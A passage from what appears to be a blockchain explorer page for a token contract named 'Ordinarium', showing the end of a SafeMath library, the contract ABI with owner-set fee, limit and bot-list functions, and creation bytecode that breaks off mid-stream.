     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address payable","name":"_marketWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributeAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"enableOrDisableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feesStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxHolding","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketFeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketFeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_account","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"removeStuckBnb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_lpFee","type":"uint256"}],"name":"setBuyFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setDistributionStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_marketWallet","type":"address"}],"name":"setMarketAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxHoldLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxTxnLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMinTokenToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_lpFee","type":"uint256"}],"name":"setSellFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f4f7264696e617269756d00000000000000000000000000000000000000000000815250600890805190602001906200005192919062000a8b565b506040518060400160405280600681526020017f4f524449554d0000000000000000000000000000000000000000000000000000815250600990805190602001906200009f92919062000a8b565b506012600a60006101000a81548160ff021916908360ff16021790555066038d7ea4c68000600b55655af3107a4000600f55620001086064620000f46003600b546200085860201b620021d51790919060201c565b620008dc60201b620022501790919060201c565b601055620001286064600b54620008dc60201b620022501790919060201c565b6011556103e860125560148055601460155560146016556014601755601460185560146019556000601a556000601b556000601c553480156200016a57600080fd5b506040516200696238038062006962833981810160405281019062000190919062000ba5565b620001b0620001a46200092e60201b60201c565b6200093660201b60201c565b60018081905550600b5460026000620001ce620009fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d8919062000c1c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000340573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000366919062000c1c565b6040518363ffffffff1660e01b81526004016200038592919062000c5f565b6020604051808303816000875af1158015620003a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003cb919062000c1c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016004600062000462620009fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600062000521620009fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000620005e0620009fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007e7620009fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000848919062000ca7565b60405180910390a3505062000f80565b6000808314156200086d5760009050620008d6565b600082846200087d919062000cf3565b90508284826200088e919062000d83565b14620008d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c89062000e42565b60405180910390fd5b809150505b92915050565b60006200092683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000a2360201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000a6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a64919062000ef7565b60405180910390fd5b506000838562000a7e919062000d83565b9050809150509392505050565b82805462000a999062000f4a565b90600052602060002090601f01602090048101928262000abd576000855562000b09565b82601f1062000ad857805160ff191683800117855562000b09565b8280016001018555821562000b09579182015b8281111562000b0857825182559160200191906001019062000aeb565b5b50905062000b18919062000b1c565b5090565b5b8082111562000b3757600081600090555060010162000b1d565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b6d8262000b40565b9050919050565b62000b7f8162000b60565b811462000b8b57600080fd5b50565b60008151905062000b9f8162000b74565b92915050565b60006020828403121562000bbe5762000bbd62000b3b565b5b600062000bce8482850162000b8e565b91505092915050565b600062000be48262000b40565b9050919050565b62000bf68162000bd7565b811462000c0257600080fd5b50565b60008151905062000c168162000beb565b92915050565b60006020828403121562000c355762000c3462000b3b565b5b600062000c458482850162000c05565b91505092915050565b62000c598162000bd7565b82525050565b600060408201905062000c76600083018562000c4e565b62000c85602083018462000c4e565b9392505050565b6000819050919050565b62000ca18162000c8c565b82525050565b600060208201905062000cbe600083018462000c96565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d008262000c8c565b915062000d0d8362000c8c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d495762000d4862000cc4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d908262000c8c565b915062000d9d8362000c8c565b92508262000db05762000daf62000d54565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e2a60218362000dbb565b915062000e378262000dcc565b604082019050919050565b6000602082019050818103600083015262000e5d8162000e1b565b9050919050565b600081519050919050565b60005b8381101562000e8f57808201518184015260208101905062000e72565b8381111562000e9f576000848401525b50505050565b6000601f19601f8301169050919050565b600062000ec38262000e64565b62000ecf818562000dbb565b935062000ee181856020860162000e6f565b62000eec8162000ea5565b840191505092915050565b6000602082019050818103600083015262000f13818462000eb6565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f6357607f821691505b6020821081141562000f7a5762000f7962000f1b565b5b50919050565b6159d28062000f906000396000f3fe6080604052600436106102b25760003560e01c80638c0b5e2211610175578063bfcd8b0d116100dc578063f097ea1a11610095578063f4b3dbc31161006f578063f4b3dbc314610ae3578063fae9261214610b20578063fe6f1b0514610b49578063ffb14a3314610b74576102b9565b8063f097ea1a14610a66578063f242ab4114610a8f578063f2fde38b14610aba576102b9565b8063bfcd8b0d14610944578063dd62ed3e1461096d578063e6c84dc6146109aa578063ea5b9e85146109d5578063ec44acf2146109fe578063ed42142914610a29576102b9565b8063a0f622851161012e578063a0f6228514610826578063a457c2d71461084f578063a7c29b401461088c578063a9059cbb146108b5578063b0bc2a2d146108f2578063be19674b1461091b576102b9565b80638c0b5e22146107265780638da5cb5b1461075157806395d89b411461077c5780639a36dfa1146107a75780639b6a2750146107d25780639d3feb9a146107fb576102b9565b80633bbac57911610219578063715018a6116101d2578063715018a61461063c57806379777b4e1461065357806384ea21bc1461067e5780638756aabd146106bb578063879dd3c5146106e45780638a8c523c1461070f576102b9565b80633bbac579146104f2578063408edac51461052f5780635342acb41461055a578063658c27a9146105975780636d268267146105d457806370a08231146105ff576102b9565b80631884f1e61161026b5780631884f1e6146103ce57806323b872dd146103f95780632d12939014610436578063313ce5671461045f5780633326d7f21461048a57806339509351146104b5576102b9565b806306fdde03146102be5780630758d924146102e9578063095ea7b3146103145780630a2d140c14610351578063151cd1c21461037a57806318160ddd146103a3576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102d3610b9f565b6040516102e091906143d7565b60405180910390f35b3480156102f557600080fd5b506102fe610c31565b60405161030b9190614478565b60405180910390f35b34801561032057600080fd5b5061033b6004803603810190610336919061451b565b610c57565b6040516103489190614576565b60405180910390f35b34801561035d57600080fd5b50610378600480360381019061037391906145bd565b610c75565b005b34801561038657600080fd5b506103a1600480360381019061039c91906145ea565b610d3a565b005b3480156103af57600080fd5b506103b8610e78565b6040516103c5919061464c565b60405180910390f35b3480156103da57600080fd5b506103e3610e82565b6040516103f0919061464c565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b9190614667565b610e88565b60405161042d9190614576565b60405180910390f35b34801561044257600080fd5b5061045d600480360381019061045891906146ba565b610f61565b005b34801561046b57600080fd5b50610474611064565b6040516104819190614716565b60405180910390f35b34801561049657600080fd5b5061049f61107b565b6040516104ac919061464c565b60405180910390f35b3480156104c157600080fd5b506104dc60048036038101906104d7919061451b565b611081565b6040516104e99190614576565b60405180910390f35b3480156104fe57600080fd5b5061051960048036038101906105149190614731565b611134565b6040516105269190614576565b60405180910390f35b34801561053b57600080fd5b50610544611154565b604051610551919061464c565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190614731565b61115a565b60405161058e9190614576565b60405180910390f35b3480156105a357600080fd5b506105be60048036038101906105b99190614731565b61117a565b6040516105cb9190614576565b60405180910390f35b3480156105e057600080fd5b506105e961119a565b6040516105f6919061464c565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190614731565b6111a0565b604051610633919061464c565b60405180910390f35b34801561064857600080fd5b506106516111e9565b005b34801561065f57600080fd5b5061066861129d565b6040516106759190614576565b60405180910390f35b34801561068a57600080fd5b506106a560048036038101906106a09190614731565b6112b0565b6040516106b29190614576565b60405180910390f35b3480156106c757600080fd5b506106e260048036038101906106dd919061475e565b6112d0565b005b3480156106f057600080fd5b506106f9611382565b6040516107069190614576565b60405180910390f35b34801561071b57600080fd5b50610724611395565b005b34801561073257600080fd5b5061073b6114e0565b604051610748919061464c565b60405180910390f35b34801561075d57600080fd5b506107666114e6565b604051610773919061479a565b60405180910390f35b34801561078857600080fd5b5061079161150f565b60405161079e91906143d7565b60405180910390f35b3480156107b357600080fd5b506107bc6115a1565b6040516107c9919061464c565b60405180910390f35b3480156107de57600080fd5b506107f960048036038101906107f4919061475e565b6115a7565b005b34801561080757600080fd5b50610810611659565b60405161081d919061464c565b60405180910390f35b34801561083257600080fd5b5061084d600480360381019061084891906147f3565b61165f565b005b34801561085b57600080fd5b506108766004803603810190610871919061451b565b611752565b6040516108839190614576565b60405180910390f35b34801561089857600080fd5b506108b360048036038101906108ae91906146ba565b61181f565b005b3480156108c157600080fd5b506108dc60048036038101906108d7919061451b565b611922565b6040516108e99190614576565b60405180910390f35b3480156108fe57600080fd5b50610919600480360381019061091491906145bd565b611940565b005b34801561092757600080fd5b50610942600480360381019061093d91906145ea565b611a05565b005b34801561095057600080fd5b5061096b6004803603810190610966919061497b565b611b43565b005b34801561097957600080fd5b50610994600480360381019061098f91906149d7565b611c80565b6040516109a1919061464c565b60405180910390f35b3480156109b657600080fd5b506109bf611d07565b6040516109cc919061464c565b60405180910390f35b3480156109e157600080fd5b506109fc60048036038101906109f791906146ba565b611d0d565b005b348015610a0a57600080fd5b50610a13611e10565b604051610a209190614576565b60405180910390f35b348015610a3557600080fd5b50610a506004803603810190610a4b919061475e565b611e23565b604051610a5d919061464c565b60405180910390f35b348015610a7257600080fd5b50610a8d6004803603810190610a88919061475e565b611e82565b005b348015610a9b57600080fd5b50610aa4611f34565b604051610ab1919061479a565b60405180910390f35b348015610ac657600080fd5b50610ae16004803603810190610adc9190614731565b611f5a565b005b348015610aef57600080fd5b50610b0a6004803603810190610b05919061475e565b61207e565b604051610b17919061464c565b60405180910390f35b348015610b2c57600080fd5b50610b476004803603810190610b429190614a17565b6120dd565b005b348015610b5557600080fd5b50610b5e6121c9565b604051610b6b919061464c565b60405180910390f35b348015610b8057600080fd5b50610b896121cf565b604051610b96919061464c565b60405180910390f35b606060088054610bae90614a73565b80601f0160208091040260200160405190810160405280929190818152602001828054610bda90614a73565b8015610c275780601f10610bfc57610100808354040283529160200191610c27565b820191906000526020600020905b815481529060010190602001808311610c0a57829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c6b610c6461229a565b84846122a2565b6001905092915050565b610c9b610c8061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15610d1d57610ca861229a565b73ffffffffffffffffffffffffffffffffffffffff16610cc66114e6565b73ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1390614af1565b60405180910390fd5b5b80601360006101000a81548160ff02191690831515021790555050565b610d60610d4561229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15610de257610d6d61229a565b73ffffffffffffffffffffffffffffffffffffffff16610d8b6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890614af1565b60405180910390fd5b5b826017819055508160188190555080601981905550610e0d600260125461225090919063ffffffff16565b610e3282610e2485876124e790919063ffffffff16565b6124e790919063ffffffff16565b1115610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a90614b5d565b60405180910390fd5b505050565b6000600b54905090565b600f5481565b6000610e95848484612545565b610f5684610ea161229a565b610f518560405180606001604052806028815260200161595060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f0761229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c99092919063ffffffff16565b6122a2565b600190509392505050565b610f87610f6c61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561100957610f9461229a565b73ffffffffffffffffffffffffffffffffffffffff16610fb26114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff90614af1565b60405180910390fd5b5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600a60009054906101000a900460ff16905090565b60165481565b600061112a61108e61229a565b84611125856003600061109f61229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e790919063ffffffff16565b6122a2565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b60175481565b60046020528060005260406000206000915054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b60155481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61120f6111f461229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156112915761121c61229a565b73ffffffffffffffffffffffffffffffffffffffff1661123a6114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128790614af1565b60405180910390fd5b5b61129b6000612a2d565b565b601360009054906101000a900460ff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b6112f66112db61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156113785761130361229a565b73ffffffffffffffffffffffffffffffffffffffff166113216114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e90614af1565b60405180910390fd5b5b8060108190555050565b601360019054906101000a900460ff1681565b6113bb6113a061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561143d576113c861229a565b73ffffffffffffffffffffffffffffffffffffffff166113e66114e6565b73ffffffffffffffffffffffffffffffffffffffff161461143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143390614af1565b60405180910390fd5b5b601360029054906101000a900460ff161561148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490614bc9565b60405180910390fd5b6001601360026101000a81548160ff0219169083151502179055506001601360006101000a81548160ff0219169083151502179055506001601360016101000a81548160ff021916908315150217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461151e90614a73565b80601f016020809104026020016040519081016040528092919081815260200182805461154a90614a73565b80156115975780601f1061156c57610100808354040283529160200191611597565b820191906000526020600020905b81548152906001019060200180831161157a57829003601f168201915b5050505050905090565b60105481565b6115cd6115b261229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b1561164f576115da61229a565b73ffffffffffffffffffffffffffffffffffffffff166115f86114e6565b73ffffffffffffffffffffffffffffffffffffffff161461164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590614af1565b60405180910390fd5b5b8060118190555050565b60185481565b61168561166a61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156117075761169261229a565b73ffffffffffffffffffffffffffffffffffffffff166116b06114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd90614af1565b60405180910390fd5b5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561174d573d6000803e3d6000fd5b505050565b600061181561175f61229a565b8461181085604051806060016040528060258152602001615978602591396003600061178961229a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c99092919063ffffffff16565b6122a2565b6001905092915050565b61184561182a61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156118c75761185261229a565b73ffffffffffffffffffffffffffffffffffffffff166118706114e6565b73ffffffffffffffffffffffffffffffffffffffff16146118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bd90614af1565b60405180910390fd5b5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061193661192f61229a565b8484612545565b6001905092915050565b61196661194b61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b156119e85761197361229a565b73ffffffffffffffffffffffffffffffffffffffff166119916114e6565b73ffffffffffffffffffffffffffffffffffffffff16146119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90614af1565b60405180910390fd5b5b80601360016101000a81548160ff02191690831515021790555050565b611a2b611a1061229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611aad57611a3861229a565b73ffffffffffffffffffffffffffffffffffffffff16611a566114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390614af1565b60405180910390fd5b5b826014819055508160158190555080601681905550611ad8600560125461225090919063ffffffff16565b611afd82611aef85876124e790919063ffffffff16565b6124e790919063ffffffff16565b1115611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590614c35565b60405180910390fd5b505050565b611b69611b4e61229a565b73ffffffffffffffffffffffffffffffffffffffff1661246d565b15611beb57611b7661229a565b73ffffffffffffffffffffffffffffffffffffffff16611b946114e6565b73ffffffffffffffffffffffffffffffffffffffff1614611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190614af1565b60405180910390fd5b5b60005b8251811015611c7b578160076000858481518110611c0f57611c0e614c